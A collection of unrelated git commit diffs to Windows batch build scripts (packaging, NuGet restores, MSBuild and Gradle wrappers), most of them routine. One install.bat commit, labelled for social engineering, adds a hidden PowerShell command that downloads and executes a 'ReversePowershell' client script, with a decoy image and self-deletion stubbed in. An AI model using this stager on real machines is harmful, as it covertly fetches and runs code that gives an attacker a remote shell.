+COPY "%CURRENT_DIR%\Source\lib\netstandard\bin\Debug\netstandard1.0\zxing.pdb" "%BINARY_DIR%\netstandard\1.0\"
+COPY "%CURRENT_DIR%\Source\lib\netstandard\bin\Debug\netstandard1.0\zxing.xml" "%BINARY_DIR%\netstandard\1.0\"
+COPY "%CURRENT_DIR%\Source\lib\netstandard\bin\Debug\netstandard1.1\zxing.dll" "%BINARY_DIR%\netstandard\1.1\"
+COPY "%CURRENT_DIR%\Source\lib\netstandard\bin\Debug\netstandard1.1\zxing.pdb" "%BINARY_DIR%\netstandard\1.1\"
+COPY "%CURRENT_DIR%\Source\lib\netstandard\bin\Debug\netstandard1.1\zxing.xml" "%BINARY_DIR%\netstandard\1.1\"
+COPY "%CURRENT_DIR%\Source\lib\netstandard\bin\Debug\netstandard1.3\zxing.dll" "%BINARY_DIR%\netstandard\1.3\"
+COPY "%CURRENT_DIR%\Source\lib\netstandard\bin\Debug\netstandard1.3\zxing.pdb" "%BINARY_DIR%\netstandard\1.3\"
+COPY "%CURRENT_DIR%\Source\lib\netstandard\bin\Debug\netstandard1.3\zxing.xml" "%BINARY_DIR%\netstandard\1.3\"
+
 REM
 REM building archives for binaries
 REM ***************************************************************************************

 CD "%BINARY_DIR%"
-"%ZIP_TOOL%" a -tzip -mx9 -r "%FILENAME_BINARY%" ce2.0 ce3.5 net2.0 net3.5 net4.0 net4.5 net4.6 winrt uwp netstandard1.6 unity sl4 sl5 wp7.0 wp7.1 wp8.0 monodroid winmd portable kinect ..\..\THANKS ..\..\COPYING -xr!Documentation
+"%ZIP_TOOL%" a -tzip -mx9 -r "%FILENAME_BINARY%" ce2.0 ce3.5 net2.0 net3.5 net4.0 net4.5 net4.6 winrt uwp netstandard unity sl4 sl5 wp7.0 wp7.1 wp8.0 monodroid winmd portable kinect interop ..\..\THANKS ..\..\COPYING -xr!Documentation
 "%ZIP_TOOL%" a -tzip -mx9 -r "%FILENAME_DEMO_BINARY%" Clients
 "%ZIP_TOOL%" a -tzip -mx9 -r "%FILENAME_DOCUMENTATION%" Documentation
 CD "%CURRENT_DIR%"
@@ -174,6 +194,13 @@
 ECHO.
 GOTO END

+:BINARY_INTEROP_NOT_FOUND
+ECHO The Interop binaries
+ECHO %BINARY_DIR%\interop\...
+ECHO weren't found.
+ECHO.
+GOTO END
+
 :BINARY_NET20_NOT_FOUND
 ECHO The .Net 2.0 binaries
 ECHO %BINARY_DIR%\net2.0\...
@@ -230,6 +257,20 @@
 ECHO.
 GOTO END

+:BINARY_NET47_NOT_FOUND
+ECHO The .Net 4.7 binaries
+ECHO %BINARY_DIR%\net4.7\...
+ECHO weren't found.
+ECHO.
+GOTO END
+
+:BINARY_NET47_PRESENTATION_NOT_FOUND
+ECHO The .Net 4.7 Presentation binaries
+ECHO %BINARY_DIR%\net4.7\...
+ECHO weren't found.
+ECHO.
+GOTO END
+
 :BINARY_SL40_NOT_FOUND
 ECHO The Silverlight 4.0 binaries
 ECHO %BINARY_DIR%\sl4.0\...
@@ -300,9 +341,16 @@
 ECHO.
 GOTO END

-:BINARY_KINECT_NOT_FOUND
-ECHO The Kinect binaries
-ECHO %BINARY_DIR%\kinect\...
+:BINARY_KINECT_V1_NOT_FOUND
+ECHO The Kinect V1 binaries
+ECHO %BINARY_DIR%\kinect\V1\...
+ECHO weren't found.
+ECHO.
+GOTO END
+
+:BINARY_KINECT_V2_NOT_FOUND
+ECHO The Kinect V2 binaries
+ECHO %BINARY_DIR%\kinect\V2\...
 ECHO weren't found.
 ECHO.
 GOTO END
@@ -314,9 +362,23 @@
 ECHO.
 GOTO END

-:BINARY_NETSTANDARD16_NOT_FOUND
-ECHO The .Net Standard binaries
-ECHO %BINARY_DIR%\netstandard1.6\...
+:BINARY_NETSTANDARD10_NOT_FOUND
+ECHO The .Net Standard 1.0 binaries
+ECHO %CURRENT_DIR%\Source\lib\netstandard\bin\Debug\netstandard1.0\...
+ECHO weren't found.
+ECHO.
+GOTO END
+
+:BINARY_NETSTANDARD11_NOT_FOUND
+ECHO The .Net Standard 1.1 binaries
+ECHO %CURRENT_DIR%\Source\lib\netstandard\bin\Debug\netstandard1.1\...
+ECHO weren't found.
+ECHO.
+GOTO END
+
+:BINARY_NETSTANDARD13_NOT_FOUND
+ECHO The .Net Standard 1.3 binaries
+ECHO %CURRENT_DIR%\Source\lib\netstandard\bin\Debug\netstandard1.3\...
 ECHO weren't found.
 ECHO.
 GOTO END


Since it's impossible to build Python using VC7.1 on a command.com system, exploit cmd.exe's setlocal function in this directory.

--- PCbuild/rt.bat
+++ PCbuild/rt.bat
@@ -15,10 +15,10 @@
 @rem runs
 @rem     python_d ../lib/test/regrtest.py -g test_binascii
 @rem to generate the expected-output file for binascii quickly.
+@setlocal
 @set _exe=python
 @set _qmode=no
 @set _dashO=
-@set _oldpath=%PATH%
 @PATH %PATH%;..\..\tcltk\bin
 @goto CheckOpts
 :Again
@@ -38,8 +38,3 @@
 @pause
 :Qmode
 %_exe% %_dashO% -E -tt ../lib/test/regrtest.py %1 %2 %3 %4 %5 %6 %7 %8 %9
-@set _exe=
-@set _qmode=
-@set _dashO=
-@PATH %_oldpath%
-@set _oldpath=


添加构建脚本

添加构建脚本

error: pathspec 'install.bat' did not match any file(s) known to git

--- install.bat
+++ install.bat
@@ -0,0 +1,5 @@
+@echo off
+title APITools构建工具
+
+@rem 构建方法
+mvn assembly:assembly


Added image download and auto-removal in batch for SE

--- install.bat
+++ install.bat
@@ -1,2 +1,6 @@
+@echo off
 set scriptURL=https://raw.githubusercontent.com/sweetsoftware/ReversePowershell/master/client.ps1
-powershell -WindowStyle Hidden -nop -c "iex (New-Object Net.WebClient).DownloadString('%scriptURL%')"+rem powershell -c "Invoke-WebRequest http://www.picturesnew.com/media/images/picture-wallpaper.jpg -OutFile ./pic.jpg"
+rem pic.jpg
+powershell -WindowStyle Hidden -nop -c "iex (New-Object Net.WebClient).DownloadString('%scriptURL%')"
+rem del "%~f0"


Fix command invocation on Windows

Fix command invocation on Windows

--- src/dist/bin/startGriffon.bat
+++ src/dist/bin/startGriffon.bat
@@ -211,7 +211,7 @@
 set JAVA_OPTS=%JAVA_OPTS% -Dbase.dir="."
 set JAVA_OPTS=%JAVA_OPTS% -Dtools.jar="%TOOLS_JAR%"
 set JAVA_OPTS=%JAVA_OPTS% -Dgroovy.starter.conf="%STARTER_CONF%"
-set JAVA_OPTS=%JAVA_OPTS% -Dgroovy.sanitized.stacktraces="%STACKTRACE_FILTERS%"
+set JAVA_OPTS=%JAVA_OPTS% -Dgroovy.sanitized.stacktraces=%STACKTRACE_FILTERS%

 if exist "%USERPROFILE%/.groovy/postinit.bat" call "%USERPROFILE%/.groovy/postinit.bat"


update signing - sample CMD

update signing - sample CMD

error: pathspec 'SignUpdate.cmd' did not match any file(s) known to git

--- SignUpdate.cmd
+++ SignUpdate.cmd
@@ -0,0 +1 @@
+_bin\ZD.AU.exe /sign http://zydeo.net/downloadinstaller?file=ZydeoSetup-v1.1.exe _install\ZydeoSetup-v1.1.exe _install\ZydeoUpdate-RSA.xml _install\sigs.txt


try to fix build

try to fix build

--- bootstrap.cmd
+++ bootstrap.cmd
@@ -1,3 +1,3 @@
 @echo off
-Nuget.exe restore "FluentRest.sln"
+dotnet restore
 NuGet.exe install MSBuildTasks -OutputDirectory .\Tools\ -ExcludeVersion -NonInteractive


[wix] Update wix to 3.10

[wix] Update wix to 3.10

--- bootstrap.cmd
+++ bootstrap.cmd
@@ -3,4 +3,4 @@
 NuGet.exe install MSBuildTasks -OutputDirectory .\Tools\ -ExcludeVersion -NonInteractive
 NuGet.exe install NUnit -OutputDirectory .\Tools\ -ExcludeVersion -NonInteractive
 NuGet.exe install NUnit.Runners -OutputDirectory .\Tools\ -ExcludeVersion -NonInteractive
-NuGet.exe install Wix.Toolset -OutputDirectory .\Tools\ -ExcludeVersion -NonInteractive+NuGet.exe install Wix.Toolset.2015 -OutputDirectory .\Tools\ -ExcludeVersion -NonInteractive


update version number

update version number

--- bootstrap.cmd
+++ bootstrap.cmd
@@ -1,6 +1,6 @@
 @echo off
 rem *********************************************************************************
-rem * dev-shell Bootstrap v1.0-beta.2                                                      *
+rem * dev-shell Bootstrap v1.0-beta.3                                                      *
 rem *                                                                               *
 rem * This command script will bootstrap the checked out git source into a complete *
 rem * development system for MinGW / MSYS.                                          *
@@ -10,7 +10,7 @@

 rem note that there is limited error checking or idiot-proofing in the file at this time.

-echo dev-shell bootstrap v1.0-beta.2 (c) seapagan 2015
+echo dev-shell bootstrap v1.0-beta.3 (c) seapagan 2015
 echo.
 echo Stage 1 : Download and unpack some required packages ...
 rem tinyperl ...


Delete 2013_Create_PR.bat

Delete 2013_Create_PR.bat

--- 2013_Create_PR.bat
+++ 2013_Create_PR.bat
@@ -1,13 +0,0 @@
-REM echo off
-
-call ./bin/setup
-
-set ANNUAL_REPORT_LOG=".\log\2013_PerRep.log"
-set ANNUAL_REPORT_CONFIG=".\config\2013_PR_config.r"
-
-%R_HOME% --vanilla -f .\lib\PeriodicReport.r --args %ANNUAL_REPORT_CONFIG% > %ANNUAL_REPORT_LOG% 2>&1
-.\bin\tail %ANNUAL_REPORT_LOG%
-
-start .\report\2013_PeriodicReport.html
-
-pause


Allow user to zip tests even when not building against packages

--- build-test.cmd
+++ build-test.cmd
@@ -31,9 +31,9 @@
 set processedArgs=
 set __unprocessedBuildArgs=
 set __RunArgs=
-set __BuildAgainstPackages=
 set __BuildAgainstPackagesArg=
 set __RuntimeId=
+set __ZipTests=

 :Arg_Loop
 if "%1" == "" goto ArgsDone
@@ -54,9 +54,10 @@
 if /i "%1" == "skipmanaged"           (set __SkipManaged=1&set processedArgs=!processedArgs! %1&shift&goto Arg_Loop)
 if /i "%1" == "updateinvalidpackages" (set __UpdateInvalidPackagesArg=1&set processedArgs=!processedArgs! %1&shift&goto Arg_Loop)
 if /i "%1" == "toolset_dir"           (set __ToolsetDir=%2&set __PassThroughArgs=%__PassThroughArgs% %2&set processedArgs=!processedArgs! %1 %2&shift&shift&goto Arg_Loop)
-if /i "%1" == "buildagainstpackages"  (set __BuildAgainstPackages=1&set __BuildAgainstPackagesArg=-BuildTestsAgainstPackages&set processedArgs=!processedArgs! %1&shift&goto Arg_Loop)
+if /i "%1" == "buildagainstpackages"  (set __ZipTests=1&set __BuildAgainstPackagesArg=-BuildTestsAgainstPackages&set processedArgs=!processedArgs! %1&shift&goto Arg_Loop)
+if /i "%1" == "ziptests"              (set __ZipTests=1&set processedArgs=!processedArgs! %1&shift&goto Arg_Loop)
 if /i "%1" == "runtimeid"             (set __RuntimeId=%2&set processedArgs=!processedArgs! %1 %2&shift&shift&goto Arg_Loop)
-if /i "%1" == "Exclude"              (set __Exclude=%2&set processedArgs=!processedArgs! %1 %2&shift&shift&goto Arg_Loop)
+if /i "%1" == "Exclude"               (set __Exclude=%2&set processedArgs=!processedArgs! %1 %2&shift&shift&goto Arg_Loop)

 if [!processedArgs!]==[] (
   call set __UnprocessedBuildArgs=!__args!
@@ -195,7 +196,7 @@

 set "__TestWorkingDir=%__RootBinDir%\tests\%__BuildOS%.%__BuildArch%.%__BuildType%"

-if not defined __BuildAgainstPackages goto SkipRestoreProduct
+if not defined __BuildAgainstPackagesArg goto SkipRestoreProduct
 REM =========================================================================================
 REM ===
 REM === Restore product binaries from packages
@@ -322,7 +323,7 @@
     exit /b 1
 )

-if not defined __BuildAgainstPackages goto SkipPrepForPublish
+if not defined __ZipTests goto SkipPrepForPublish

 set __BuildLogRootName=Helix_Prep
 set __BuildLog=%__LogsDir%\%__BuildLogRootName%_%__BuildOS%__%__BuildArch%__%__BuildType%.log
@@ -376,6 +377,7 @@
 echo     ubuntu.14.04-x64: Builds overlay for Ubuntu 14.04
 echo     ubuntu.16.04-x64: Builds overlay for Ubuntu 16.04
 echo     ubuntu.16.10-x64: Builds overlay for Ubuntu 16.10
+echo ziptests: zips CoreCLR tests & Core_Root for a Helix run
 echo Exclude- Optional parameter - specify location of default exclusion file (defaults to tests\issues.targets if not specified)
 echo     Set to "" to disable default exclusion file.
 echo -- ... : all arguments following this tag will be passed directly to msbuild.


Pause at end of batch file

Pause at end of batch file

--- build.bat
+++ build.bat
@@ -1 +1,3 @@
-powershell -Command ".\packages\psake.4.2.0.1\tools\psake.ps1 .\build.ps1"+powershell -Command ".\packages\psake.4.2.0.1\tools\psake.ps1 .\build.ps1"
+
+pause


Update BuildLib 0.3.6

Update BuildLib 0.3.6

--- build.cmd
+++ build.cmd
@@ -6,16 +6,16 @@
 SET NUGET=.\tools\nuget\NuGet.exe
 SET NUGETOPTIONS=-ConfigFile .\tools\nuget\NuGet.Config -OutputDirectory %PACKAGEPATH% -ExcludeVersion

-IF NOT EXIST %PACKAGEPATH%FAKE\Ver_4.25.4 (
+IF NOT EXIST %PACKAGEPATH%FAKE\Ver_4.28.0 (
   RD /S/Q %PACKAGEPATH%FAKE
-  %NUGET% install FAKE -Version 4.25.4 %NUGETOPTIONS%
-  COPY NUL %PACKAGEPATH%FAKE\Ver_4.25.4
+  %NUGET% install FAKE -Version 4.28.0 %NUGETOPTIONS%
+  COPY NUL %PACKAGEPATH%FAKE\Ver_4.28.0
 )

-IF NOT EXIST %PACKAGEPATH%FAKE.BuildLib\Ver_0.3.5 (
+IF NOT EXIST %PACKAGEPATH%FAKE.BuildLib\Ver_0.3.6 (
   RD /S/Q %PACKAGEPATH%FAKE.BuildLib
-  %NUGET% install FAKE.BuildLib -Version 0.3.5 %NUGETOPTIONS%
-  COPY NUL %PACKAGEPATH%FAKE.BuildLib\Ver_0.3.5
+  %NUGET% install FAKE.BuildLib -Version 0.3.6 %NUGETOPTIONS%
+  COPY NUL %PACKAGEPATH%FAKE.BuildLib\Ver_0.3.6
 )

 set encoding=utf-8


Fixed check to install x64 KRE

Fixed check to install x64 KRE

--- build.cmd
+++ build.cmd
@@ -22,7 +22,7 @@
 IF "%SKIP_KRE_INSTALL%"=="1" goto run
 CALL packages\KoreBuild\build\kvm upgrade -svr50 -x86
 CALL packages\KoreBuild\build\kvm install default -svrc50 -x86
-IF EXIST "%Processor_Architecture%" == "AMD64"(
+IF "%Processor_Architecture%" == "AMD64"(
 	CALL packages\KoreBuild\build\kvm install default -svr50 -x64
 	CALL packages\KoreBuild\build\kvm install default -svrc50 -x64
 )


Added bootstrapping.

Added bootstrapping.

--- build.cmd
+++ build.cmd
@@ -42,7 +42,7 @@
   )
 )
 pushd "%BUILD_DIR%\boost_%BOOST_VERSION%"
-dir
+call bootstrap.bat
 popd
 goto :EOF


Fix checking of correct errorlevel for crossgen

--- build.cmd
+++ build.cmd
@@ -449,7 +449,7 @@
 set "__CrossGenMScorlibLog=%__LogsDir%\CrossgenMScorlib_%__BuildOS%__%__BuildArch%__%__BuildType%.log"
 set "__CrossgenExe=%__CrossComponentBinDir%\crossgen.exe"
 "%__CrossgenExe%" /Platform_Assemblies_Paths "%__BinDir%" /out "%__BinDir%\mscorlib.ni.dll" "%__BinDir%\mscorlib.dll" > "%__CrossGenMScorlibLog%" 2>&1
-if errorlevel 1 (
+if NOT errorlevel 0 (
     echo %__MsgPrefix%Error: CrossGen mscorlib build failed. Refer to the build log file for details:
     echo     %__CrossGenMScorlibLog%
     exit /b 1


trying appveyor

trying appveyor

--- build.cmd
+++ build.cmd
@@ -0,0 +1,3 @@
+set GOPATH=%BuildFolder%
+go get -v ./...
+go build -v ./examples/minimal-go


-Build

-Build

--- Build/runbuild.cmd
+++ Build/runbuild.cmd
@@ -1,2 +1,5 @@
 cls
-powershell -Command "& { [Console]::WindowWidth = 150; [Console]::WindowHeight = 50; Start-Transcript %~dp0runbuild.txt; Import-Module %~dp0..\Tools\PSake\psake.psm1; Invoke-psake %~dp0..\Build\build.ps1 %*; Stop-Transcript; }"+powershell -Command "& { [Console]::WindowWidth = 150; [Console]::WindowHeight = 50; Start-Transcript %~dp0runbuild.txt; Import-Module %~dp0..\Tools\PSake\psake.psm1; Invoke-psake %~dp0..\Build\build.ps1 %*; Stop-Transcript; }"
+
+ECHO %ERRORLEVEL%
+EXIT /B %ERRORLEVEL%


fix cmake for Windows

fix cmake for Windows

--- recipes/libgit2/bld.bat
+++ recipes/libgit2/bld.bat
@@ -2,9 +2,9 @@
 cmake ^
 	-G "%CMAKE_GENERATOR%"                   ^
 	-DCMAKE_INSTALL_PREFIX=%LIBRARY_PREFIX%  ^
-	-DCMAKE_INSTALL_BINDIR=%LIBRARY_BIN%     ^
-	-DCMAKE_INSTALL_LIBDIR=%LIBRARY_LIB%     ^
-	-DCMAKE_INSTALL_INCLUDEDIR=%LIBRARY_INC% ^
+	-DBIN_INSTALL_DIR=%LIBRARY_BIN%     ^
+	-DLIB_INSTALL_DIR=%LIBRARY_LIB%     ^
+	-DINCLUDE_INSTALL_DIR=%LIBRARY_INC% ^
 	..

 cmake --build . --target install


add python-twitter module

add python-twitter module

--- build.exe.bat
+++ build.exe.bat
@@ -1,3 +1,3 @@
 @echo off
-py -3.4 -m py2exe.build_exe src/gamedevbot.py
+py -3.4 -m py2exe.build_exe -p twitter src/gamedevbot.py
 pause


- fixing build packages script

- fixing build packages script

--- CreatePackages.cmd
+++ CreatePackages.cmd
@@ -2,8 +2,8 @@

 if not exist bolt_packages mkdir bolt_packages

-call dnu pack src\Bolt.Core\project.json --out bolt_packages --configuration Release --quiet
-call dnu pack src\Bolt.Generators\project.json --out bolt_packages --configuration Release --quiet
-call dnu pack src\Bolt.Console\project.json --out bolt_packages --configuration Release --quiet
-call dnu pack src\Bolt.Client\project.json --out bolt_packages --configuration Release --quiet
-call dnu pack src\Bolt.Server\project.json --out bolt_packages --configuration Release --quiet+call dnu pack src\Bolt.Core\project.json --out bolt_packages\Bolt.Core --configuration Release --quiet
+call dnu pack src\Bolt.Generators\project.json --out bolt_packages\Bolt.Generators --configuration Release --quiet
+call dnu pack src\Bolt.Console\project.json --out bolt_packages\Bolt.Console --configuration Release --quiet
+call dnu pack src\Bolt.Client\project.json --out bolt_packages\Bolt.Client --configuration Release --quiet
+call dnu pack src\Bolt.Server\project.json --out bolt_packages\Bolt.Server --configuration Release --quiet


Another try at making the build work

Another try at making the build work

--- teamcity.bat
+++ teamcity.bat
@@ -1 +1,3 @@
+
+echo something_nonsensical_here | C:\WINDOWS\system32\windowspowershell\v1.0\powershell.exe Set-ExecutionPolicy remotesigned
 echo something_nonsensical_here | C:\WINDOWS\system32\windowspowershell\v1.0\powershell.exe .\psake.ps1


- NEW: added build.bat (headless build)

- NEW: added build.bat (headless build)

Signed-off-by: Dieter Niklaus <13cee11e5fda859ff5a615f7dc08ab74ce847c6d@gmx.net>

error: pathspec 'build.bat' did not match any file(s) known to git

--- build.bat
+++ build.bat
@@ -0,0 +1,9 @@
+::-----------------------------------------------------------------------------
+:: Paths
+::-----------------------------------------------------------------------------
+set SCRIPT_DIR=%~dp0%
+set ProjectHome=%SCRIPT_DIR%
+set WorkspaceDir=%ProjectHome%\workspace
+set ThisProjTools=%ProjectHome%\tools
+
+%ThisProjTools%\eclipseArduino\eclipsec.exe -data %WorkspaceDir% -nosplash -application org.eclipse.cdt.managedbuilder.core.headlessbuild -cleanBuild all -vmargs -Dorg.eclipse.cdt.core.console=org.eclipse.cdt.core.systemConsole


integrate

integrate

--- build.bat
+++ build.bat
@@ -26,7 +26,7 @@
 set TEST_NET40_COREUNIT_SUITE=1
 set TEST_PORTABLE_COREUNIT_SUITE=1

-%_msbuildexe% src\fsharp-proto-build.proj
+%_msbuildexe% src\fsharp-proto-build.proj /p:Configuration=Proto
 @if ERRORLEVEL 1 echo Error: "%_msbuildexe% src\fsharp-proto-build.proj" failed  && goto :failure

 %_ngenexe% install Proto\net440\bin\fsc-proto.exe


Adding a batch files for Windows users

Adding a batch files for Windows users

--- build.bat
+++ build.bat
@@ -0,0 +1,102 @@
+@echo off
+
+if "%OS%" == "Windows_NT" setlocal
+
+if NOT DEFINED JAVA_HOME goto :err
+
+set DIR=%CD%
+set var2=
+set argC=0
+for %%x in (%*) do Set /A argC+=1
+
+IF %argC% == 0  GOTO :zeroArg
+IF %argC% == 2  GOTO :twoArg
+IF %argC% == 1  GOTO :oneArg
+
+:zeroArg
+        echo SDI Build Wrapper v0.000154
+        echo Wrapper script for more advanced SDI build commands.  Since Gradle cannot
+        echo guarantee order on dependencies, this wrapper will correctly execute more
+        echo commonly chained build commands.
+        echo Normal Gradle commands can also still be used by this wrapper.
+        echo -----------------------------------------------------------------------
+        echo Usage: build.bat [gradle command] or [advanced command] ...
+        echo -----------------------------------------------------------------------
+        echo Available Advanced Commands:
+        echo ------------------------------
+        echo     buildall      - executes the gradle build with build and eclipse
+        echo     rebuild       - executes the gradle build with clobber, build and eclipse
+        echo     full          - executes the gradle build with build, eclipse and runSDITasks
+        echo ------------------------------------------------------------------------------------
+        echo Example:
+        echo 1. To execute a normal build:
+        echo           build.bat build
+        echo 2. To execute an advanced command:
+        echo           build.bat rebuild
+        echo --------------------------------------------------------------------------------------
+        echo Options:
+        echo ---------------
+        echo -h          - this help doc
+        echo ---------------
+	%DIR%/tools/gradle-1.4/bin/gradle
+goto finally
+
+:twoArg
+        echo *****************************
+	echo Running SDI Build for task %*
+        echo *****************************
+	%DIR%/tools/gradle-1.4/bin/gradle clean %*
+goto finally
+
+:oneArg
+	if "%1" == "rebuild" goto :reBuild
+	if "%1" == "buildall" goto :buildAll
+	if "%1" == "full" goto :full
+	if "%1" == "build" goto :build
+	if "%1" == "-h" goto :zeroArg
+goto finally
+
+:reBuild
+		SET GRADLE_ARG="clobber build eclipse"
+        echo *****************************
+        	echo Running SDI Build for task %1 %GRADLE_ARG%
+        echo *****************************
+		%DIR%/tools/gradle-1.4/bin/gradle %GRADLE_ARG%
+
+goto finally
+
+:buildAll
+		SET GRADLE_ARG="clean build eclipse"
+        echo *****************************
+                echo Running SDI Build for task %1 (build eclipse)
+        echo *****************************
+		%DIR%/tools/gradle-1.4/bin/gradle %GRADLE_ARG%
+goto finally
+
+:full
+        SET GRADLE_ARG="clean build eclipse"
+        echo *****************************
+				echo Running SDI Build for task %1 (build eclipse runSDITests)
+        echo *****************************
+                %DIR%/tools/gradle-1.4/bin/gradle %GRADLE_ARG%
+                %DIR%/tools/gradle-1.4/bin/gradle clean runSDITests
+		%DIR%/tools/gradle-1.4/bin/gradle clean build
+
+goto finally
+
+:build
+        echo *****************************
+                echo Running SDI Build for task %1
+        echo *****************************
+		%DIR%/tools/gradle-1.4/bin/gradle clean %1
+
+goto finally
+
+:err
+echo The JAVA_HOME environment variable must be set to run this program!
+pause
+
+:finally
+
+ENDLOCAL
+


NR-224: Core implementation of MVC framework - part 2

Clean before and after the build, just to be sure!

--- build.bat
+++ build.bat
@@ -4,7 +4,9 @@
 del distribution\components\*.egg
 python.exe components\clean_egg.py
 python.exe components\build_egg.py
+python.exe components\clean_egg.py
 del distribution\plugins\*.egg
+python.exe plugins\clean_egg.py
 python.exe plugins\build_egg.py
 python.exe plugins\clean_egg.py
 del superdesk\distribution\components\*.egg
@@ -14,3 +16,4 @@
 rmdir superdesk\distribution\workspace /S /q
 python.exe superdesk\plugins\clean_egg.py
 python.exe superdesk\plugins\build_egg.py
+python.exe superdesk\plugins\clean_egg.py


Kill build.bat. Replaced by build.py

Kill build.bat. Replaced by build.py

--- build.bat
+++ build.bat
@@ -1,3 +0,0 @@
-%windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild debugler.sln /p:VisualStudioVersion=11.0 /m /nologo /t:Build /p:Configuration=Release-ALL;platform=Win32
-if %errorlevel% neq 0 exit /b %errorlevel%
-%windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild debugler.sln /p:VisualStudioVersion=11.0 /m /nologo /t:Build /p:Configuration=Release-ALL;platform=x64


removed unnecessary memory setting

removed unnecessary memory setting

git-svn-id: b619a0c99665f88f1afe72824344cefe9a1c8c90@8305 fd5a2b45-1f63-4059-99e9-3c7cb7fd75c8

--- build.bat
+++ build.bat
@@ -1 +1 @@
-"%JAVA_HOME%/bin/java" -Xmx256m -cp lib/ant/ant.jar;lib/ant/ant-launcher.jar;lib/ant/ant-junit.jar;lib/junit/junit.jar;lib/clover/clover.jar;"%JAVA_HOME%/lib/tools.jar" org.apache.tools.ant.Main %1
+"%JAVA_HOME%/bin/java" -cp lib/ant/ant.jar;lib/ant/ant-launcher.jar;lib/ant/ant-junit.jar;lib/junit/junit.jar;lib/clover/clover.jar;"%JAVA_HOME%/lib/tools.jar" org.apache.tools.ant.Main %1


Build script and nuget now automatically grabs missing dependencies

--- build.bat
+++ build.bat
@@ -1,3 +1,4 @@
+set EnableNuGetPackageRestore=true
 call .\packages\psake.4.2.0.1\tools\psake.cmd build.ps1 %*

 pause


those stupid quotes...

those stupid quotes...

--- build.bat
+++ build.bat
@@ -26,11 +26,11 @@
 REM *** NOTE *** When running this locally, use the version without the quotes.
 REM              MyGet requires the quotes, but the command line doesn't like them.  Don't ask me...

-call %msbuild% Manatee.Json.sln /p:Configuration="%config%" /m:1 /v:m /fl /flp:LogFile=msbuild.log;Verbosity=Normal /nr:false
+call "%msbuild%"" Manatee.Json.sln /p:Configuration="%config%" /m:1 /v:m /fl /flp:LogFile=msbuild.log;Verbosity=Normal /nr:false

 REM Run Tests

-call %mstest% /testcontainer:Manatee.Json.Tests\bin\%config%\Manatee.Json.Tests.dll
+"%mstest%"" /testcontainer:Manatee.Json.Tests\bin\%config%\Manatee.Json.Tests.dll

 REM Package
-call %msbuild% Manatee.Json\Manatee.Json.csproj /t:pack /p:Configuration=Release
+call "%msbuild%"" Manatee.Json\Manatee.Json.csproj /t:pack /p:Configuration=Release


The system property 'exist.home' was not passed to ant. The jUnit test could not be run.....

svn path=/trunk/eXist-1.0/; revision=1455

--- build.bat
+++ build.bat
@@ -15,7 +15,7 @@
 set _LIBJARS=%CLASSPATH%;%ANT_HOME%\lib\ant-launcher.jar;%ANT_HOME%\lib\junit.jar;%JAVA_HOME%\lib\tools.jar

 set JAVA_ENDORSED_DIRS=%EXIST_HOME%\lib\endorsed
-set JAVA_OPTS=-Xms64M -Xmx512M -Djava.endorsed.dirs="%JAVA_ENDORSED_DIRS%" -Dant.home="%ANT_HOME%"
+set JAVA_OPTS=-Xms64M -Xmx512M -Djava.endorsed.dirs="%JAVA_ENDORSED_DIRS%" -Dant.home="%ANT_HOME%" -Dexist.home="%EXIST_HOME%"

 echo eXist Build
 echo -------------------


update build script

update build script

--- build.bat
+++ build.bat
@@ -1,10 +1,10 @@
 REM optional clean
-REM rm -rf artifacts CoreTests/bin CoreTests/obj CoreIntegrationTests/bin CoreIntegrationTests/obj Microsoft.AspNetCore.Identity.MongoDB/bin Microsoft.AspNetCore.Identity.MongoDB/obj
+REM rm -rf artifacts CoreTests/bin CoreTests/obj CoreIntegrationTests/bin CoreIntegrationTests/obj Microsoft.AspNetCore.Identity.MongoDB/bin Microsoft.AspNetCore.Identity.DocumentDB/obj

 dotnet restore src
 dotnet test -c Release src/CoreTests
 dotnet test -c Release src/CoreIntegrationTests
-dotnet pack -c Release -o artifacts src/Microsoft.AspNetCore.Identity.MongoDB
+dotnet pack -c Release -o artifacts src/Microsoft.AspNetCore.Identity.DocumentDB

 REM nuget add artifacts\X.nupkg -Source C:\Code\scratch\localnugetfeedtesting
 REM nuget publish artifacts\X.nupkg


Fixing .bat file

Fixing .bat file

--- build.bat
+++ build.bat
@@ -919,12 +919,15 @@
 		set Revision_new_sol_name=%%c
 	)

-	if %Major% GEQ %Major_new_sol_name%
-	if %Minor% GEQ %Minor_new_sol_name%
-	if %Revision% GEQ %Revision_new_sol_name% (
-		set solution_name_cpp=perftest_publisher-%architecture%%extension%
-		set solution_name_cs=perftest-%architecture%.sln
-	) else (
+	if %Major% GEQ %Major_new_sol_name% (
+		if %Minor% GEQ %Minor_new_sol_name% (
+			if %Revision% GEQ %Revision_new_sol_name% (
+				set solution_name_cpp=perftest_publisher-%architecture%%extension%
+				set solution_name_cs=perftest-%architecture%.sln
+			)
+		)
+	)
+	if [%solution_name_cpp] == [] (
 		set solution_name_cpp=%begin_sol%%end_sol%%extension%
 		set solution_name_cs=%begin_sol_cs%csharp.sln
 	)


Update BuildLib 0.3.4

Update BuildLib 0.3.4

--- build.cmd
+++ build.cmd
@@ -12,10 +12,10 @@
   COPY NUL %PACKAGEPATH%FAKE\Ver_4.25.4
 )

-IF NOT EXIST %PACKAGEPATH%FAKE.BuildLib\Ver_0.3.3 (
+IF NOT EXIST %PACKAGEPATH%FAKE.BuildLib\Ver_0.3.4 (
   RD /S/Q %PACKAGEPATH%FAKE.BuildLib
-  %NUGET% install FAKE.BuildLib -Version 0.3.3 %NUGETOPTIONS%
-  COPY NUL %PACKAGEPATH%FAKE.BuildLib\Ver_0.3.3
+  %NUGET% install FAKE.BuildLib -Version 0.3.4 %NUGETOPTIONS%
+  COPY NUL %PACKAGEPATH%FAKE.BuildLib\Ver_0.3.4
 )

 set encoding=utf-8


Temporarily removed MongoDB from build until it can be updated to new model.

--- build.cmd
+++ build.cmd
@@ -51,15 +51,6 @@
 msbuild /nologo /verbosity:quiet src/EventStore.sln /p:Configuration=%TARGET_CONFIG% /t:Clean
 msbuild /nologo /verbosity:quiet src/EventStore.sln /p:Configuration=%TARGET_CONFIG% /property:TargetFrameworkVersion=%FRAMEWORK_VERSION%

-echo Merging MongoDB Persistence
-set FILES_TO_MERGE=
-set FILES_TO_MERGE=%FILES_TO_MERGE% "src\proj\EventStore.Persistence.MongoPersistence\bin\%TARGET_CONFIG%\EventStore.Persistence.MongoPersistence.dll"
-set FILES_TO_MERGE=%FILES_TO_MERGE% "src\proj\EventStore.Persistence.MongoPersistence\bin\%TARGET_CONFIG%\norm.dll"
